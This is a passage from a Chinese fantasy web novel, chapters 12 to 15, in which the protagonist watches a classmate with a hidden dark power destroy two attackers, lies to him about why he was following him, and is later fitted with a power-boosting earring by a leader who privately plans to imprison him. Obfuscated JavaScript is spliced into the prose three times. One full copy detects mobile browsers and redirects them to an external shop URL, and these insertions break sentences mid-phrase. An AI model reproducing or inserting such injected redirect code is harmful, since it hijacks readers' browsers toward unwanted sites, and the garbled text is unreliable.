一番推演后,纪运很快确定好了行动的计划—— 他决定在放学后,乔装打扮跟在霍钊身后,像是之前一样跟踪对方,等待着这件事情的发生。 而连续跟踪了两天之后,纪运终于发现霍钊身后多了其他人的身影—— 显然想要对霍钊出手的人出现了。 12. 第 12 章 纪运看着那人的身影,认出是同班的S级异能者郁言乐和A级异能者曾均。 他在脑海中回忆着这两人和霍钊的交际,大概是昨天郁言乐的前女友被传出追求霍钊的消息,郁言乐在学院里堵住了霍钊,却什么都没能问出来。 郁言乐碍于学院内的规则也不能动手,只能在班里和曾均讨论了几句。 因为捕捉到了霍钊的名字,纪运也听的分外仔细。 他原本就将郁言乐纳入了怀疑名单之中,没想到对方动手的速度比他想象的还要快。 考虑到郁言乐是S级异能者,纪运跟踪时特意落后了几步,和两人隔开了一段距离,以免被对方发现。 纪运跟在郁言乐和曾均身后,而郁言乐和曾均则是跟在霍钊身后,四人安安静静的走在霍钊回家的路上。 直到霍钊走入一条偏僻无人的小巷,郁言乐和曾均互相对视了一眼,旋即有所动作。 纪运看到两人身影一闪,原本在霍钊身后的人在闪身间已经飞速冲进了小巷。 意识到这两人要做些什么后,纪运加快了脚步,走到小巷口小心翼翼的观察。 郁言乐和曾均一个堵在霍钊身前,禁止他前行,一个堵在小巷后,挡住了他的去路。 而郁言乐并没有废话,直接朝霍钊发起袭击。 空气中的温度骤然攀升,热浪扭曲了小巷里的光线,即使和三人相隔一段距离,纪运仿佛也感觉到了那片热浪,下意识后退了几步。 饶是这样,他伪装用的脸皮还是被波及,只能摘了下来。 好在此时郁言乐和曾均的注意力都在霍钊身上,因而并没有往这个方向看过来。 纪运见过郁言乐在异能实战课上的表现,对方的火焰能在一秒内将训练用的人形道具成灰烬,而此时那片红光正对着霍钊的面门。 而郁言乐的动作并非教训,更像是要下死手。 纪运想的没错。 看着面前的霍钊,郁言乐的唇角上扬,流露出嘲讽的笑意,他确实是冲着杀死霍钊而去,毕竟他已经通过调查,知道了霍钊父母早亡,没有其他亲戚,还是个没有异能的普通人,即使死了也不会有人追究到底。 曾均站在小巷的出口处,双手插在裤袋里,神色淡漠得像是在看一场与自己无关的表演,他负责在郁言乐动手后善后,将一切可能牵连到两人的线索都抹除,这也是他的异能,因此被郁言乐叫来帮忙。 不过下一秒,郁言乐的笑容一僵,曾均的脸上也流露出了明晃晃的错愕表情。 火焰在吞噬了霍钊的下一秒,就消失在了原地。 没有能量对冲的波动,没有异能抵消的光芒,那片灼热的、仿佛将空气都烤得扭曲的火焰,像被人按下了暂停键,然后在下一秒彻底消散,连一缕青烟都没有留下。 郁言乐低头看着自己空空的掌心,那上面还残留着异能释放后的余温,但火焰不见了。他下意识左顾右盼,怀疑是不是有其他异能者出现,挡下了这一击。 唯有纪运心里隐隐知道究竟是怎么一回事,视线落到了霍钊身上。 纪运背对着霍钊,因此看不清霍钊的表情,只看到对方抬起手。 下一秒,纪运感觉到周围的温度骤降,那降幅太过剧烈,像是有什么东西在一瞬间抽走了所有的光和热。 他紧盯着霍钊,看到黑暗从霍钊站立的位置向外扩散,像墨水滴入清水,无声无息地侵蚀着周围的一切光亮。 而郁言乐和曾均终于回过神来,视线落到了面前的霍钊身上,但是已经晚了。 看到那黑暗像是有生命一般像自己袭来,郁言乐和曾均连忙使用异能抵挡。 郁言乐的火焰与黑暗相撞,还没有来得及发出一点声响,就被悄无声息的吞没。而那黑暗并没有就此停止步伐,已经攀上了郁言乐的身体。从指尖开始,一路蔓延到手腕乃至全身,郁言乐只觉得自己的身体像是在被暴力撕扯,仿佛要将他碾碎。 而最重要的是,郁言乐发现自己无法使用异能。 意识到这一点之后,郁言乐的脸上终于浮现出了恐惧,让人毛骨悚然的濒死感瞬间席卷全身。 曾均也在那片黑暗中。 他试图后退,想要逃出黑暗覆盖的范围,但他的脚刚抬起就僵在了半空,但是却没能成功。 不是被压制,不是被封印,而是真正的、肉眼可见的流失。 曾均能感觉到自己体内的力量在剧烈颤抖,那股熟悉的、陪伴了他二十年的力量正在被某种东西从身体深处拖拽出来。 两人同时爆发出一声凄厉的惨叫,紧接着彻底被黑暗吞没,再没了声音。 目睹眼前这一幕,纪运的心底也随之生出了几分寒意。虽然已经从同人文那里知道了霍钊有异能这件事情,但是对方的异能还是超出他的想象。 他在脑海中回忆着异能的分类,但是却并不知道霍钊究竟属于哪一种异能。 对方究竟是什么异能,难道是没有被发现的异能种类?! 有这么强的异能,霍钊竟然一直隐藏....... 纪运一边思索,一边努力看着霍钊的掌心,想要察看对方是否像是预言的那样掌心有印记。 不过纪运很快感觉到一道目光落在了他身上。 他的心中顿时警铃大作,顺着感觉到的视线看去,对上了一双黑色的眼睛。 在那片被黑暗笼罩的小巷里,霍钊的视线已经落在了他身上。 他被发现了! 意识到这一点之后,纪运下意识想要后退,但是他很快发现自己动不了。 不是被异能禁锢了,而是他的身体在本能地拒绝移动。那种被顶级捕食者锁定时的僵硬感从脊椎底部蔓延上来,沿着骨血一路攀升,冻结了他的每一寸肌肉。 纪运的心底一沉,而在这愣神的功夫,霍钊的身影已经出现在他面前。 对方的视线冰冷,对他的出现并没有流露出疑惑的表情,仿佛早就知道他的跟踪。 而霍 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看到霍钊有所反应,纪运受到鼓励,意识到自己可以继续说下去。 “我刚才看到那两个人跟着你进来,就觉得不对劲……”纪运的语速比平时快了一些,像是紧张到连说话都变得急促:“我想冲上来的,但是我……我愣住了,对不起……” 纪运的眼睫垂了下来,那双精致的、黑色的眼睛被睫毛遮住了大半,只露出一点湿润的光泽。他的嘴唇微微抿着,下唇被咬出了一道浅浅的齿痕,在那片苍白的唇色上留下一道淡淡的红印。 月光从巷口斜斜地照进来,落在他半张侧脸上,将他的轮廓映得近乎透明。他的黑发在夜风中微微晃动,有几缕落在额前,发梢扫过眼睑,让他的表情看起来更加脆弱。 纪运努力显示着自己的无害,以免被霍钊当成危险分子。 霍钊:“我没事。” “你之前的跟踪......” 他没有忘记纪运之前的跟踪,看向纪运的视线依然带着打量与审视。 好在纪运已经想到了借口。 纪运:“我之前一直跟着你,是因为担心你。” “我在班里时常听说有人讨论你,还威胁要对你动手,没有想到原旭真的这么做了。我最不耻这种行为,也担心有人效仿,就想要跟在你后面保护你......” 他当然不可能告诉霍钊自己的真实目的,不然立即就能去一旁躺着陪郁言乐和曾均了。 虽然纪运现在无法伪装成无辜路人,但是他觉得自己努力一下,还是能模仿出无辜的样子。 从霍钊竟然知道他的名字来看,纪运猜测是因为自己在学院内还算出名,或许也或多或少听说过他的消息。 他在学院内经营的个人形象还算是不错,不像是原旭等人一样黑料满学院飞,将欺男霸女贯彻到底,希望能够提高一些可信度。 13. 第 13 章 霍钊并没有立即出声,只是视线落在纪运身上。 从一开始,他就察觉到了三人的跟踪,只是这三人并没有和他发生冲突,他也装作没有看到。 直到其中两人拦住了他的去路,向他发动袭击。 霍钊并没有询问两人前来的目的,像是上次解决原旭一样轻而易举的解决了面前两人。 只是和上次不一样,霍钊注意到还有纪运在旁观。 霍钊思索着是否要解决纪运。 毕竟且不说纪运一直跟在另外两人身后,不知道是否和另外两人抱着同样的目的前来,如今对方看到了他的异能,有概率将这件事情传出去。 而霍钊并不想让其他人知道自己的异能。 只是如果对方是无辜的..... 霍钊最终还是选择出声询问。 纪运回答的比霍钊想象的要快得多,而对方话语里的内容也完全出乎了霍钊的预料。 纪运说是因为担心他遇到危险,所以才一直跟在他身后,想要提供保护。 从时间点来说,纪运倒确实是在原旭出事后才开始跟在他身后,这一点纪运倒是没有说谎。 只是对方所说的原因..... 霍钊的视线落到了纪运身上,一寸一寸地碾过那张脸。 月光下,纪运的轮廓柔和得近乎失真。黑色的碎发垂落在额前,发梢扫过眼睑,在颧骨上方投下细碎的阴影。他的眉形很好看,并非凌厉的弧度,而是带着微微弧度的柔软线条,像是被人用极细的笔一笔一笔描摹出来的。 对方的瞳孔并非纯粹的漆黑,而是干净透亮,此时只倒影出他一个人的身影。 纪运的嘴唇似乎是天生的浅粉色,像是两片花瓣轻轻合拢,而此刻那片下唇上有一道淡淡的齿痕——是他刚才自己咬出来的,齿痕颜色比周围的唇色深了一些,像是一颗被咬破了的樱桃,汁水洇开在那片柔软的皮肤上,吸引着其他人的注意。 这令霍钊莫名想起了之前的一幕—— 几周前,他坐在房间里,听到纪运叫了一声他的名字。而当用异能看去时,纪运站在月光照不到的角落,手指捏着自己衣摆的下沿,然后缓缓地将上衣褪了下来。 他原本以为以为随着时间的流逝,自己应当已经忘记了那个画面,不过霍钊发现自己依然清楚得记得纪运露出后腰那片白皙皮肤时,月光在对方腰窝处投下的那一片小小的阴影。记得纪运微微侧身时,腰线收束的弧度在他眼前展开的样子,像是一把被缓缓拉开的弓。 他甚至记得纪运动作里的犹豫和羞涩——耳根泛着红,从耳垂蔓延到脖颈,手指捏着衣角,指节微微泛白。 霍钊曾经短暂怀疑过纪运的目的,但是一方面对方确实什么都没有做,另一方面则是后来几天时间里,纪运在没有出现过,因此霍钊暂时放下了对纪运的注意。 如今对方再次出现,过往的回忆也都在此刻涌入他的脑海之中。 纪运说之前跟着他是因为担心他的安全,那么当时一边喊着他的名字,一边褪去衣服,是不是...... 纪运静静等待着霍钊的回答,不知道过了多久,对方的声音终于再次响了起来:“我不会有事的。” 对方的声线虽然依旧冰冷,但是已经褪去了刚才隐含的杀意。 纪运原本悬着的心也暂时放了下来—— 还好霍钊相信了他的话语。 此时的纪运深深意识到了对外形象的重要性,决心以后要像是首席一样好好经营个人形象。 纪运没有忘记自己此行的另外一个目的,他的视线从霍钊的脸上移开,不着痕迹地落到对方垂在身侧的手上。 霍钊的手此刻是松开的,手指自然地微微蜷着,借着仅有的光线,纪运能够看到对方骨节分明的轮廓,但霍钊掌心的部分被手指挡住了,从这个角度看不到。 纪运需要确认一件事。 何冰预言中那个阻拦首席的人,掌心有一道发亮的痕迹。那个人影的轮廓他总觉得在哪里见过,而此刻站在他面前的霍钊,无论是身高、身形还是那种从骨子里透出来的冷淡,都和预言画面中那道模糊的身影有着某种微妙的相似。 只是他还需要看到霍钊掌心的印记,才能够最后确定这一点。 随着意识到危险消失,纪运只觉得原本僵硬的身体此时终于能够行动,他上前一步,主动拉近了与霍钊之间的距离,声音里带着恰到好处的关切:“你的手.....” 就在他的指尖即将触上霍钊手腕的那一瞬间,霍钊动了。 不是后退,不是闪避,而是手腕轻轻一翻,那只看似随意垂在身侧的手在纪运的指尖碰到他皮肤的前一秒,不紧不慢地避开了。 霍钊的动作流畅得像是排练过无数次,又像是本能反应快过了思考,连他自己都没有意识到自己躲开了,身体就已经替自己做了决定。 对方的动作实在太快了,以至于纪运的后半句话才刚说出口:“我刚才看到好像有什么,是不是不小心受伤了.....” 纪运的指尖扑了个空,在空气中停了一瞬。 因为霍钊的突然动作,纪运还以为对方要突然动手,连忙停在原地显示着自己的无害。 纪运:“抱歉......” 他连忙退后一步。 而霍钊也意识到自己刚才都做了什么,他看着纪运猛的后退,脸上迅速浮现的愧疚和不安,看着那双黑色的眼睛里从担忧变成了小心翼翼的道歉,像是被他的闪躲吓到了,神色无害又脆弱,令霍钊想到了受到惊吓的小动物。 霍钊并不喜欢别人的触碰,但是面对对方的关切,他犹豫了一下,还是朝着纪运伸出了手,展示自己的掌心:“我没事。” 察觉到霍钊的动作,纪运的视线也落到了他的掌心。 霍钊的掌心很白,皮肤薄到几乎可以看到底下青色的血管纹路,手指修长,骨节分明,指尖带着一层薄薄的茧。那些纹路在他掌心交错纵横,像是某种被刻意印上去的暗纹。 而在那些纹路的中央,在掌心的最深处,有一道光芒,和预言中看到的人影掌心的光芒一模一样。 纪运已经基本确定面前的霍钊就是首席要找的人。 他的唇角弯了起来,然后收回了手,抬起来看着霍钊的脸:“太好了,你没有受伤......” 确定是霍钊后,纪运已经在脑海中思索接下来的计划。 而霍钊的视线落在纪运唇角漾开的笑意,心神一晃,直到被纪运突然响起的声音打断。 纪运:“虽然这里有人经过的概率很小,但是保险起见,我们还是赶紧收拾残局回去吧。” 末了,纪运还不忘补充:“你放心,虽然不知道你为什么会隐藏异能,但我绝对不会将你有异能的事情告诉其他人。” 毕竟就算告诉了其他人,他们也不一定会相信他的话语,反而传到霍钊耳边还容易被打击报复。 目的已经达到,纪运也准备脱身,向霍钊告别。 霍钊并没有阻拦的意思。 看着纪运的身影消失在他眼前,霍钊的注意力暂时从纪运身上转移,落到了一旁的郁言乐和曾均身上。 * 直到彻底和霍钊拉开距离,纪运原本悬着的心这才彻底松懈下来。 他在脑海中反复回忆着霍钊使用异能时的表现,羡慕又嫉妒对方的异能。 要不将霍钊的异能告诉首席,让两人提前对上,说不定他还能趁着两人两败俱伤时得利。 不对,他现在的异能说不定无法在两人的争斗中保护自己,而且按照系统的话,他估计等不到那个时候就在原著中死去了。 而且现在的霍钊虽然算得上是强大,但和首席对上后,真的会是首席的对手吗,不会真的导致世界毁灭吧..... 他有无数疑问,但是唯一可能知道这一切的系统又守口如瓶,纪运只能试着从同人文中寻找答案了。 纪运的思绪被突然响起的铃声打断,虽然电话只响了两秒,但是纪运还是很快意识到是母亲打来的电话。 因为担心被纪家其他人发现母亲的下落,两人的沟通都是通过不固定的电话,约定打两秒后就挂断,好报告母亲的平安。 纪运在心里下定决心,他一定要快些抢过纪家家主的位置。 * 第二天纪运到达了学院。 意识到自己的跟踪已经被霍钊发现,纪运默默将继续跟踪霍钊这件事情划出了计划之外,转而思索着之后要如何接近霍钊。 毕竟同人文里还有不少他和霍钊的剧情,他还要想办法让霍钊尽量配合。 从昨天的情况来看,霍钊比他预想的要好一些,起码没有直接对他动手。 他或许可以尝试着和对方做朋友,要不先去教室里看望一下对方...... 纪运正想着,却听到学院内人来人往的人正议论纷纷,而他们讨论的焦点则是霍钊—— 郁言乐和曾均出事的消息流传开来,两人的父母见他们迟迟没有归家,已经报警,然而最终只找到了昏迷不醒,身受重伤的两人。 因为他们出事前唯一有冲突的就是霍钊,因此霍钊已经被带走调查。 由于之前原旭出事时,也或多或少和霍钊有关,因而霍钊现在的嫌疑陡然上升,已经有传言猜测霍钊要么是拥有异能,要么是有高人在背后相助。 纪运意识到事情的走向和同人文提到的很像。 而就像是同人文里所写的一样,到下午时,霍钊就再次出现在了校园之中。 这意味着霍钊已经解除了嫌疑。 霍钊的异能报告也已经公示,上面写着并没有丝毫异能波动。 有关霍钊异能的怀疑被彻底解除,不过对于有关霍钊是否有帮手的猜测还在学院内流传。 作为另外一个知情人的纪运深知要不是自己亲眼目睹了霍钊使用异能,肯定也难以相信霍钊有异能的事情。 纪运思绪一转,决定趁着这个机会去找霍钊,关心一下对方,看能否拉近距离。 虽然纪运在没有跟踪霍钊的情况下,不知道对方去了哪里,但是因为看过同人文,他还是很快在同人文里提到的地点找到了霍钊。 * 霍钊正站在安静的角落。 因为郁言乐和曾均出事,他被带走做了几次异能检测,繁杂不间断的流程和询问让他感觉到了疲惫。而在回到学院后,等待着他的还有或是好奇或是带着恶意的询问。 霍钊像是往常一样忽略,然而这一次的事情在学校内流传的太广,以至于无论霍钊走到哪里,都有人想要上前打探消息。 他最终选择了这个僻静的角落,让嘈杂的声音从耳边消失。 直到脚步声传来。 无需转头,霍钊已经知道了来人—— 纪运。 当看到对方出现的那一刻,霍钊一怔。 他以为纪运在目睹过他的异能后会害怕恐惧,像是他的父母一样丢下他离开,没想到对方竟然再次出现在了他面前。 对方正快步朝着他的方向赶来,神色流露着关心。 在靠近霍钊后,纪运很快出声,叫了一声他的名字:“霍钊,你还好吗?” “我从其他人那里听说了你被带走的事情,我明明没有告诉任何人,不知道他们为什么会知道这件事情......” 霍钊转过了头,只是语气依旧没有什么情绪:“这件事情和你无关。” 你知道就好。 纪运忍不住在心里想到,但是脸上却并没有流露出异样的表情,而是紧接着出声:“我听到你没事后就赶紧赶了过来,还好你的异能没有被其他人发现。” “他们是不是开始怀疑别人了?” 纪运的语气带着纯粹的关切,仿佛真的只是在担心面前的霍钊。 问完这句话,自己先摇了摇头,像是在否定这个问题本身:“算了,不管怎样,你没事就好,担心死我了.....” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽然纪运的话里话外都是一副希望霍钊打来电话的样子,但是他心里知道按照对方的性格根本不会打来电话。 不过纪运递给霍钊自己联系方式的原因本来也只是为了表露自己的关心,并不希望霍钊真的遇到对手时打来电话求助。 毕竟霍钊招来的都是A级或S级异能者,就算他来了也不是对手。 将该做的一切都做了之后,纪运并没有再继续停留,而是就此转身离开。 他的步伐轻快而不急促,背影在阳光下显得修长而挺拔,黑色的头发在风中微微晃动,像一面小小的旗帜。他没有回头,也没有犹豫,走得干脆利落,好像他来这里真的只是为了确认霍钊是否安好。 霍钊站在原地,看着那个背影穿过树叶的光影,越来越远,越来越小,最后完全消失在走廊的拐角处。 他犹豫了一下,最终还是没有直接扔掉,而是折起来放在了口袋里。 * 纪运的行动并没有就此停下来。 他没有再继续跟踪霍钊,而是光明正大的出现在了对方身边。不是那种刻意的、让人喘不过气的出现,而是像呼吸一样自然的、无声无息的渗透。 纪运猜测霍钊找到一个合适的地方后,并不会轻易离开,因此第二天再找过去时,果然发现了霍钊依然站在那里。 不过纪运也知道霍钊喜欢安静,因此只是打了个招呼之后就安静的坐在一旁,低头看起自己带的书。 霍钊思索过是否换个地方,然而想到纪运并没有打扰到他,仿佛只是为了找一个合适的地方看书,霍钊也没有离开。 两人就这样维持着安静的氛围,坐到直到要上课离开,纪运都会主动和霍钊挥手告别。 接下来的几天,纪运都如期而至。 他原本也担心过霍钊会换其他地方,还特意在和对方相处时降低存在感。但是一连几天都看到霍钊依然呆在原来的位置后,纪运也放下心来。 纪运有时候也会带来食物和霍钊分享,起初霍钊并没有伸手接过的意思,纪运也没有再继续追着送给霍钊,只是垂眸笑了笑。 从霍钊的角度看去,纪运的眼睫低垂,在眼下投下一片扇形的阴影,将那双原本透亮的眼睛遮得严严实实,唇瓣短暂的张合了几下,又很快合上,流露出几分似有似无的失落,缓慢的收起了想要递给霍钊的食物。 这几天的纪运总是一副笑意盈盈的模样,如今突然流露出这样的表情,令霍钊动作一顿。 “等一下。”霍钊开口了。 声音不大,声线低沉,像是声带在发声之前经过了半秒的犹豫,但是最终还是说出了口。他也意识到自己似乎开始关注纪运的情绪,但是看到对方低落的神色,他还是忍不住开口。 只是食物而已。 霍钊在心里想道。 而纪运在听到霍钊的声音后,猛地抬起了头,一双漂亮的黑眸在阳光下愈发熠熠生辉。 霍钊从纪运手中接过食物,而后道谢。或许是因为不常用到谢谢的原因,他的声线有几分干涩。 纪运唇角的笑意再一次浮现:“没关系。” 虽然霍钊仅仅是接过了食物,并没有立即当着他的面吃下,但是纪运已经足够开心,意识到自己和霍钊之间的距离又近了一步。 就是不知道什么时候才能说服对方,帮忙配合他演同人文的戏份,还有告诉他有关自己异能的事情。 纪运虽然迫切想要知道,但是也深知自己不能着急。 霍钊本来就不喜欢和别人保持太近的距离,想要拉近距离并非一朝一夕就能够完成的。 为了以后的计划,纪运只能努力让自己耐心等待。 * 晚上回到纪家后,纪运在脑海中整理着两人目前的进度,思索着明天见到霍钊后,是应该继续保持安静互不打扰的状态,还是乘胜追击继续分享食物。 就在他思索时,突然响起的手机铃声打断了他的思绪。 纪运立即低头看去,当看到屏幕上没有显示来电时,他的瞳孔一缩,已经知晓了谁。 没有来电显示,也唯有对方一人了。 调整了一下自己的情绪后,纪运这才接起了电话,故意用激动却又努力克制的声线叫了一声:“首席,是您吗.....” 与此同时,纪运也在脑海中飞快的思索起了首席来找他的目的。 14. 第 14 章 首席找他不会和霍钊有关吧? 纪运有些心虚地思考。 难道对方已经知道了霍钊就是预言中的人,也知道他和对方走得近,来询问了? 不对,那首席完全可以直接找霍钊。 还是说...... 短短的时间内,纪运的脑海中已经冒出了不少想法。 而首席的声音从电话的另一边传来,语气依旧不紧不慢:“纪同学,是我。” “抱歉这么晚打来电话,希望没有打扰到你休息。” 首席的语气里有恰到好处的歉意,不是刻意的客套,更像是一个习惯了为他人考虑的人在不经意间流露出的体贴。 只是纪运已经不会再被首席的语气蒙蔽,他一边说着没有,一边暗自提高了警惕。 “那就好。”首席说,声线依旧平和,像是在确认了一件并不重要的小事:“之前请你帮忙的那件事,后续还可能需要一些协助。” 纪运立即明白了首席所说的是何冰的事情。 他的心脏跳的飞快,意识到了首席来找他的原因—— 他重新加固了何冰的记忆,其他催眠异能者想要读取何冰的记忆,就必须像是之前那样一次次突破。之前拥有顶级催眠异能的人已经被首席找过,其他人更没有什么机会破开,首席自然会再次找上他。 由于不知道他已经提前掌握了一些情报,首席自然不可能猜到他有胆子做出这些事情。 虽然纪运在加固何冰的记忆时想过这个可能性,但是没有想到首席会真的找上门来。 纪运舔了舔唇角:“当然可以。” “只是我的催眠异能还没有恢复,而且我的异能还不够强,我不知道能不能直接破开何冰的记忆防御.....” 首席:“没关系,只是再次尝试而已。” ......你还说上没有关系了。 纪运在心里怒斥首席的虚伪,面上倒并没有表现出来,依旧一副恨不能帮助首席的模样。 好在对方紧接着出声:“我会想办法提高你的催眠异能。” 这一点他自然也想到了。 纪运眸光一亮,没想到首席竟然会主动提起这一点。对他而言,能够提高催眠异能绝对是一件好事,至于是否要帮首席则是另外一件事情了。 他这次语气中的兴奋倒是真心实意,轻快出声:“太好了,这样的话我就能够帮的上您的忙了!” 异能的提升难之又难,不少人的异能一辈子都停留在固定的等级,很难有所突破。纪运也能够感觉到自从自己几年前觉醒了催眠异能到现在,除了对催眠异能的运用熟练了一些之外并没有其他突破。 不过如果要是有首席的帮忙,或许就不一样了。 因为第二天是休息日,纪运很快和首席约定好了时间,前往首席府邸。 * 虽然是第三次来首席府邸,但是不知是不是因为府邸庄严肃穆的氛围,纪运还是有些束手束脚的紧张。 对方的府邸总是安安静静,只偶尔有顶级异能者出入,过去纪运幻想过自己也成为其中的一员,没想到这么快就能够实现。 纪运沿着之前的路线,在书房见到了首席。 “来了?”首席将文件合上,放在一边,从椅子上站起来。光线从落地窗外涌进来,透过窗帘落在他身上,将他的轮廓镀上了一层浅金色的光晕。 首席的身量很高,站起来的时候纪运需要微微仰头才能看到他的脸,看到对方无论是语气还是表情都是恰到好处的温和。 首席:“坐吧。” 纪运在他对面的椅子上坐下来,背脊挺得笔直,手指规规矩矩地放在膝盖上,像一个小学生坐在校长的办公室里。 首席似乎看出了他的紧张,笑了笑:“不用这么拘谨。” 他一边说着,一边从书桌的抽屉里取出一个深蓝色的盒子,在阳光下泛着低调的光泽,看起来像是一个装首饰的首饰盒。 纪运心里正奇怪,就看到首席修长的手指扣在盒盖上,轻轻一掀,盒盖翻开,露出里面的东西—— 是一只耳钉。 银白色的金属底座上镶嵌着一颗深蓝色的宝石,宝石内部像是有生命的液体在缓慢地、无声地涌动。 纪运盯着那只耳钉,瞳孔一缩—— 他感觉到了耳钉上附着的异能波动。 没等纪运出声询问这是什么,首席已经开口。 “一种异能增幅器,”首席说,嗓音低沉而平缓,像是在讲一堂再普通不过的课,不过语气却仿佛有着特殊的吸引力,吸引着人前去倾听:“这是我专门针对催眠系异能设计研究的,戴上之后或许可以提高你的催眠异能。” 纪运的呼吸停顿了一瞬,他的手指不自觉地攥紧了膝盖上的布料,心脏因为兴奋疯狂跳动,一时间都忘记走流程谦逊一下,表示这么贵重的东西还是应该留给更需要的人。 他现在就想要。 纪运目光炯炯的盯着那只耳钉,要不是被拿在首席手里,他恨不得下一秒就抢过来。 “戴上试试。”首席的声音将他的思绪拉了回来。 纪运的指尖颤抖,只是在从首席手里接过耳钉后,动作一顿—— 他不知道应该怎么戴。 纪运的手指捏着那枚耳钉,指腹蹭过金属底座的边缘,感觉到一阵细微的凉意。他将耳钉举到耳侧比划了一下,又放下来,动作反复了两次,像是在研究某个复杂的机械装置应该从哪个角度下手。 他的身边虽然也有人戴耳钉,但是纪运之前从未想过戴耳钉的事情,自然不可能询问他们。 首席坐在他对面,看着他这番手足无措的样子,唇角微微弯了一下。 首席:“我帮你。” 他绕过书桌的动作不快不慢,也没给纪运点头或否认的机会,银白色的风衣下摆随着步伐轻轻晃动,像一面被风缓缓吹动的旗帜。 几乎是话音刚落,纪运就看到对方已经出现在自己面前,对方身上的清冽气味如同薄雾一般覆盖在他的鼻息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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首席将纪运的反应尽收眼底,眼睫动了一下,心底难得生出几分好奇。 银白色的针尖被举到了纪运的耳侧,纪运瞥了一眼,感觉已经提前预感到了疼痛,连忙瞥开了视线,仿佛这样就能够减缓接下来的疼痛。 针尖触上皮肤的时候,纪运的身体猛地绷紧了。 虽然他已经有所预料,但那种尖锐的、集中的触感在穿过那层薄薄的皮肤时,产生的感知放大效应比他想象的要强烈得多。他能感觉到金属的冰凉、能感觉到针尖穿过皮下组织时那一瞬间的微小的阻力、能感觉到针尖从耳垂背面穿出来时那道细如发丝的刺痛。 不过即使是这样,也让纪运发出了一声极轻极细的闷哼。 那声音短到只有半秒,轻到如果不是首席正俯身在他耳侧、两个人之间的距离近到呼吸都交织在一起,根本不可能听到。 但那声闷哼落在首席耳中,清晰得像一滴水落在深潭里,激起了一圈圈细小的、久久不散的涟漪。 15. 第 15 章 首席的动作一顿,他将耳钉的底座推到紧贴耳垂的位置,指腹按着那枚深蓝色的宝石轻轻转了一下,像是在确认它已经牢固地卡在了那个小小的孔洞里。 那道旋转的触感让纪运的耳垂在那瞬间又红了几分,从半透明的绯色变成了更浓的、更饱满的殷红,像一枚刚从树上摘下来的、还带着晨露的樱桃。 首席退开了一点。 他没有完全拉开距离,而是微微侧头,看着纪运那只被他戴好耳钉的耳朵。深蓝色的宝石贴在那片绯红色的耳垂上,颜色形成了鲜明的对比。 首席的视线转而又落到了纪运身上,纪运已经强作镇定地出声:“谢谢您的帮忙......” 首席发出一声轻笑,纪运不知道自己装得有多不像。 那张精致的脸上,每一个故作镇定的细节都在出卖他—— 背脊挺得太直了,直到肩胛骨的轮廓隔着衣料都能看到,那是紧张到了极点才会有的僵硬;手指放在膝盖上,指节却微微泛白,像是怕手会自己发抖才不得不用力按住。对方的睫毛还在颤,湿漉漉的,刚才不知道是被什么东西打湿了,一小簇一小簇地粘在一起,露出底下那片湿润的、泛着水光的结膜。 而虽然纪运努力强作镇定,但是语气间还是泄露了几分颤音。 这样的反差令首席觉得有趣。 好像上次想要他签名时,纪运就表现得颇为敏感,仅仅笔尖落在腰间都要躲闪。 如果施加更多的疼痛,对方会直接落泪吗? 或许那个时候他不应该答应给对方签名,而是应该直接在纪运身上刻下自己的名字,那样就能够验证纪运会做出什么反应。 在那之后,这双漂亮的黑色眼睛还会像之前那样,仰望着他,充满了仰慕和信服,在每一次他说话的时候专注地注视着他的脸,在每一次他靠近的时候微微亮起来吗?还是说那种崇拜会因为疼痛被恐惧或抗拒的情绪取代? 他的目光从纪运的眼眶移到纪运的鼻尖。那里也泛着一点薄红,在白皙的皮肤上格外明显,像是一幅淡彩画上唯一用了重色的地方,将整张脸的色调都拉暖了几度。纪运的鼻翼在微微翕动,呼吸还没有完全平复,每一次吸气都在努力控制着节奏,却总在呼气的时候泄出一点细微的、颤抖的尾音。 他忽然想看纪运流露出更多表情,不知道是否也会像是这样有趣。 或许等对方问出他想要的东西后,他可以不杀了纪运,毕竟杀掉太浪费了—— 纪运是他在这漫长的、无趣的岁月里,遇到的第一个让他觉得“有趣”的人。那些紧张时颤抖的睫毛、被触碰时泛红的皮肤、努力维持镇定却连呼吸都在发抖的样子,全都是一册他从未读过的书,每一页都是新的,每一行字都在他的预期之外。 他并不想让这本书合上。 他可以找一个安静的地方把纪运关起来,告诉对方这里是最安全的地方,纪运在这里不需要伪装,不需要维持体面,不需要努力做出镇定的样子,可以想哭就哭,想笑就笑,除了他之外,没有人会看到纪运的表情。 关押何冰的地方虽然隐蔽,但是并不适合纪运。 首席在脑海中思索着合适的地方。 * 纪运不知道首席在想些什么,只知道自己的话音落下后,对方突然发出一声轻笑,紧接着迟迟没有再开口。 虽然首席的笑听起来没有什么嘲讽的意味,但是纪运已经在脑海中回忆自己是不是说错了什么话语。 他刚才就说了一句话而已,难道礼貌也是一种错误? 还是说他现在的表情很奇怪? 纪运的心里有些忐忑,毕竟刚才他话音刚落,系统就提醒他演技发挥失误。 纪运努力想要调整自己的表情,但是刚打好耳钉后传来的隐秘疼痛时不时传来,拖了他的后腿。 首席已经回过神来,眼底翻涌的情绪已经已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523454|203380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全部沉了下去,像一场暴雨过后湖面恢复了平静,看不出半点刚才的波澜。 “感觉怎么样?”首席开口了,声线依然是那种不紧不慢的温和,语气如常,听不出任何异常,像是在问一个再普通不过的问题:“催眠异能有没有什么变化?” 